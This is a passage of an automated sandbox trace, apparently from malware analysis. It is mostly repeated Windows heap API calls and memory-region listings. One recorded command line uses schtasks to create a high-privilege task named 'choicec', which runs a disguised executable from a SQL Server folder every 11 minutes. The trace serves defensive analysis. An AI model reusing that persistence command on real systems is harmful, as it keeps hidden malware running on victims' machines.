[0065.170] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c30) returned 1 [0065.170] GetProcessHeap () returned 0x220000 [0065.170] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c30) returned 0x20 [0065.171] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c30 | out: hHeap=0x220000) returned 1 [0065.171] GetProcessHeap () returned 0x220000 [0065.171] GetProcessHeap () returned 0x220000 [0065.172] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb70) returned 1 [0065.172] GetProcessHeap () returned 0x220000 [0065.172] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bb70) returned 0x2 [0065.172] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb70 | out: hHeap=0x220000) returned 1 [0065.172] GetProcessHeap () returned 0x220000 [0065.172] GetProcessHeap () returned 0x220000 [0065.172] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a80) returned 1 [0065.172] GetProcessHeap () returned 0x220000 [0065.172] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a80) returned 0x20 [0065.173] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a80 | out: hHeap=0x220000) returned 1 [0065.173] GetProcessHeap () returned 0x220000 [0065.173] GetProcessHeap () returned 0x220000 [0065.173] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ab0) returned 1 [0065.173] GetProcessHeap () returned 0x220000 [0065.173] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ab0) returned 0x20 [0065.174] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ab0 | out: hHeap=0x220000) returned 1 [0065.174] GetProcessHeap () returned 0x220000 [0065.174] GetProcessHeap () returned 0x220000 [0065.174] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ae0) returned 1 [0065.174] GetProcessHeap () returned 0x220000 [0065.174] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ae0) returned 0x20 [0065.175] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ae0 | out: hHeap=0x220000) returned 1 [0065.175] GetProcessHeap () returned 0x220000 [0065.175] GetProcessHeap () returned 0x220000 [0065.175] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b10) returned 1 [0065.175] GetProcessHeap () returned 0x220000 [0065.175] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b10) returned 0x20 [0065.175] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b10 | out: hHeap=0x220000) returned 1 [0065.175] GetProcessHeap () returned 0x220000 [0065.175] GetProcessHeap () returned 0x220000 [0065.176] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd00) returned 1 [0065.176] GetProcessHeap () returned 0x220000 [0065.176] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd00) returned 0x20 [0065.176] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd00 | out: hHeap=0x220000) returned 1 [0065.176] GetProcessHeap () returned 0x220000 [0065.176] GetProcessHeap () returned 0x220000 [0065.176] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d7e0) returned 1 [0065.176] GetProcessHeap () returned 0x220000 [0065.176] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d7e0) returned 0xc [0065.176] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d7e0 | out: hHeap=0x220000) returned 1 [0065.176] GetProcessHeap () returned 0x220000 [0065.176] GetProcessHeap () returned 0x220000 [0065.176] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd30) returned 1 [0065.176] GetProcessHeap () returned 0x220000 [0065.176] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd30) returned 0x20 [0065.177] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd30 | out: hHeap=0x220000) returned 1 [0065.177] GetProcessHeap () returned 0x220000 [0065.177] GetProcessHeap () returned 0x220000 [0065.177] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237c10) returned 1 [0065.177] GetProcessHeap () returned 0x220000 [0065.177] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237c10) returned 0x30 [0065.178] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237c10 | out: hHeap=0x220000) returned 1 [0065.178] GetProcessHeap () returned 0x220000 [0065.178] GetProcessHeap () returned 0x220000 [0065.178] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd60) returned 1 [0065.178] GetProcessHeap () returned 0x220000 [0065.178] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd60) returned 0x20 [0065.178] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd60 | out: hHeap=0x220000) returned 1 [0065.178] GetProcessHeap () returned 0x220000 [0065.178] GetProcessHeap () returned 0x220000 [0065.178] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237c50) returned 1 [0065.178] GetProcessHeap () returned 0x220000 [0065.178] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237c50) returned 0x30 [0065.179] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237c50 | out: hHeap=0x220000) returned 1 [0065.179] GetProcessHeap () returned 0x220000 [0065.179] GetProcessHeap () returned 0x220000 [0065.179] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cee0) returned 1 [0065.179] GetProcessHeap () returned 0x220000 [0065.179] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cee0) returned 0x20 [0065.179] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cee0 | out: hHeap=0x220000) returned 1 [0065.179] GetProcessHeap () returned 0x220000 [0065.179] GetProcessHeap () returned 0x220000 [0065.179] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d700) returned 1 [0065.179] GetProcessHeap () returned 0x220000 [0065.179] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d700) returned 0x16 [0065.179] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d700 | out: hHeap=0x220000) returned 1 [0065.179] GetProcessHeap () returned 0x220000 [0065.179] GetProcessHeap () returned 0x220000 [0065.179] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ceb0) returned 1 [0065.179] GetProcessHeap () returned 0x220000 [0065.179] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ceb0) returned 0x20 [0065.180] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ceb0 | out: hHeap=0x220000) returned 1 [0065.180] GetProcessHeap () returned 0x220000 [0065.180] GetProcessHeap () returned 0x220000 [0065.180] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d720) returned 1 [0065.180] GetProcessHeap () returned 0x220000 [0065.180] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d720) returned 0x16 [0065.180] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d720 | out: hHeap=0x220000) returned 1 [0065.180] GetProcessHeap () returned 0x220000 [0065.180] GetProcessHeap () returned 0x220000 [0065.180] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce80) returned 1 [0065.180] GetProcessHeap () returned 0x220000 [0065.180] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce80) returned 0x20 [0065.180] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce80 | out: hHeap=0x220000) returned 1 [0065.180] GetProcessHeap () returned 0x220000 [0065.180] GetProcessHeap () returned 0x220000 [0065.180] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x259d70) returned 1 [0065.180] GetProcessHeap () returned 0x220000 [0065.180] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x259d70) returned 0x82 [0065.181] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x259d70 | out: hHeap=0x220000) returned 1 [0065.181] GetProcessHeap () returned 0x220000 [0065.181] GetProcessHeap () returned 0x220000 [0065.181] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce50) returned 1 [0065.181] GetProcessHeap () returned 0x220000 [0065.181] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce50) returned 0x20 [0065.181] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce50 | out: hHeap=0x220000) returned 1 [0065.181] GetProcessHeap () returned 0x220000 [0065.181] GetProcessHeap () returned 0x220000 [0065.181] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d760) returned 1 [0065.181] GetProcessHeap () returned 0x220000 [0065.181] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d760) returned 0xe [0065.181] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d760 | out: hHeap=0x220000) returned 1 [0065.181] GetProcessHeap () returned 0x220000 [0065.181] GetProcessHeap () returned 0x220000 [0065.181] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce20) returned 1 [0065.181] GetProcessHeap () returned 0x220000 [0065.182] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce20) returned 0x20 [0065.182] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce20 | out: hHeap=0x220000) returned 1 [0065.182] GetProcessHeap () returned 0x220000 [0065.182] GetProcessHeap () returned 0x220000 [0065.182] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d780) returned 1 [0065.182] GetProcessHeap () returned 0x220000 [0065.182] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d780) returned 0xc [0065.182] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d780 | out: hHeap=0x220000) returned 1 [0065.182] GetProcessHeap () returned 0x220000 [0065.182] GetProcessHeap () returned 0x220000 [0065.182] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdf0) returned 1 [0065.182] GetProcessHeap () returned 0x220000 [0065.182] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cdf0) returned 0x20 [0065.183] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdf0 | out: hHeap=0x220000) returned 1 [0065.183] GetProcessHeap () returned 0x220000 [0065.183] GetProcessHeap () returned 0x220000 [0065.183] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d7a0) returned 1 [0065.183] GetProcessHeap () returned 0x220000 [0065.183] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d7a0) returned 0xe [0065.183] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d7a0 | out: hHeap=0x220000) returned 1 [0065.183] GetProcessHeap () returned 0x220000 [0065.183] GetProcessHeap () returned 0x220000 [0065.183] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdc0) returned 1 [0065.183] GetProcessHeap () returned 0x220000 [0065.183] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cdc0) returned 0x20 [0065.184] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdc0 | out: hHeap=0x220000) returned 1 [0065.184] GetProcessHeap () returned 0x220000 [0065.184] GetProcessHeap () returned 0x220000 [0065.184] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d7c0) returned 1 [0065.184] GetProcessHeap () returned 0x220000 [0065.184] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d7c0) returned 0x10 [0065.184] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d7c0 | out: hHeap=0x220000) returned 1 [0065.184] GetProcessHeap () returned 0x220000 [0065.184] GetProcessHeap () returned 0x220000 [0065.184] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd90) returned 1 [0065.184] GetProcessHeap () returned 0x220000 [0065.184] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd90) returned 0x20 [0065.184] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd90 | out: hHeap=0x220000) returned 1 [0065.184] GetProcessHeap () returned 0x220000 [0065.185] GetProcessHeap () returned 0x220000 [0065.185] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb90) returned 1 [0065.185] GetProcessHeap () returned 0x220000 [0065.185] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bb90) returned 0x18 [0065.185] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb90 | out: hHeap=0x220000) returned 1 [0065.185] GetProcessHeap () returned 0x220000 [0065.185] GetProcessHeap () returned 0x220000 [0065.185] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b40) returned 1 [0065.185] GetProcessHeap () returned 0x220000 [0065.185] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b40) returned 0x20 [0065.186] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b40 | out: hHeap=0x220000) returned 1 [0065.186] GetProcessHeap () returned 0x220000 [0065.186] GetProcessHeap () returned 0x220000 [0065.186] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b70) returned 1 [0065.186] GetProcessHeap () returned 0x220000 [0065.186] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b70) returned 0x20 [0065.186] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b70 | out: hHeap=0x220000) returned 1 [0065.186] GetProcessHeap () returned 0x220000 [0065.186] GetProcessHeap () returned 0x220000 [0065.186] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ba0) returned 1 [0065.186] GetProcessHeap () returned 0x220000 [0065.186] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ba0) returned 0x20 [0065.187] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ba0 | out: hHeap=0x220000) returned 1 [0065.187] GetProcessHeap () returned 0x220000 [0065.187] GetProcessHeap () returned 0x220000 [0065.187] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235bd0) returned 1 [0065.187] GetProcessHeap () returned 0x220000 [0065.187] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235bd0) returned 0x20 [0065.187] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235bd0 | out: hHeap=0x220000) returned 1 [0065.187] GetProcessHeap () returned 0x220000 [0065.187] GetProcessHeap () returned 0x220000 [0065.187] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbb0) returned 1 [0065.187] GetProcessHeap () returned 0x220000 [0065.187] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bbb0) returned 0x18 [0065.188] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbb0 | out: hHeap=0x220000) returned 1 [0065.188] GetProcessHeap () returned 0x220000 [0065.188] GetProcessHeap () returned 0x220000 [0065.188] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c00) returned 1 [0065.188] GetProcessHeap () returned 0x220000 [0065.188] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c00) returned 0x20 [0065.188] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c00 | out: hHeap=0x220000) returned 1 [0065.188] GetProcessHeap () returned 0x220000 [0065.188] GetProcessHeap () returned 0x220000 [0065.188] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c90) returned 1 [0065.188] GetProcessHeap () returned 0x220000 [0065.189] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c90) returned 0x20 [0065.189] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c90 | out: hHeap=0x220000) returned 1 [0065.189] GetProcessHeap () returned 0x220000 [0065.189] GetProcessHeap () returned 0x220000 [0065.189] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235cf0) returned 1 [0065.189] GetProcessHeap () returned 0x220000 [0065.189] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235cf0) returned 0x20 [0065.190] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235cf0 | out: hHeap=0x220000) returned 1 [0065.190] GetProcessHeap () returned 0x220000 [0065.190] GetProcessHeap () returned 0x220000 [0065.190] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235d50) returned 1 [0065.190] GetProcessHeap () returned 0x220000 [0065.190] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235d50) returned 0x20 [0065.190] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235d50 | out: hHeap=0x220000) returned 1 [0065.190] GetProcessHeap () returned 0x220000 [0065.190] GetProcessHeap () returned 0x220000 [0065.190] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235d80) returned 1 [0065.190] GetProcessHeap () returned 0x220000 [0065.190] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235d80) returned 0x20 [0065.191] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235d80 | out: hHeap=0x220000) returned 1 [0065.191] GetProcessHeap () returned 0x220000 [0065.191] GetProcessHeap () returned 0x220000 [0065.191] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbd0) returned 1 [0065.191] GetProcessHeap () returned 0x220000 [0065.191] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bbd0) returned 0x18 [0065.191] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbd0 | out: hHeap=0x220000) returned 1 [0065.191] GetProcessHeap () returned 0x220000 [0065.191] GetProcessHeap () returned 0x220000 [0065.191] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235cc0) returned 1 [0065.191] GetProcessHeap () returned 0x220000 [0065.191] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235cc0) returned 0x20 [0065.192] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235cc0 | out: hHeap=0x220000) returned 1 [0065.192] GetProcessHeap () returned 0x220000 [0065.192] GetProcessHeap () returned 0x220000 [0065.192] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb50) returned 1 [0065.192] GetProcessHeap () returned 0x220000 [0065.192] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bb50) returned 0x18 [0065.192] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb50 | out: hHeap=0x220000) returned 1 [0065.192] exit (_Code=0) Thread: id = 117 os_tid = 0xf44 Process: id = "19" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d024000" os_pid = "0xf48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"choicec\" /sc MINUTE /mo 11 /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2295 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2296 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2297 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2298 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2299 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2300 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2301 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2302 start_va = 0xffe10000 end_va = 0xffe57fff monitored = 1 entry_point = 0xffe3966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2303 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2304 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2305 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2306 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2307 start_va = 0x1a0000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2308 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2309 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2310 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2311 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2312 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2313 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2314 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2315 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2316 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2317 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2318 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2319 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2320 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2321 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2322 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2323 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2324 start_va = 0xc0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2325 start_va = 0x1a0000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2326 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2327 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2328 start_va = 0xf0000 end_va = 0x118fff monitored = 0 entry_point = 0xf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2329 start_va = 0xf0000 end_va = 0x118fff monitored = 0 entry_point = 0xf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2330 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2331 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2332 start_va = 0x5c0000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 2333 start_va = 0x750000 end_va = 0x1b4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 2334 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2335 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2337 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2338 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2339 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2340 start_va = 0x1b50000 end_va = 0x1e1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: 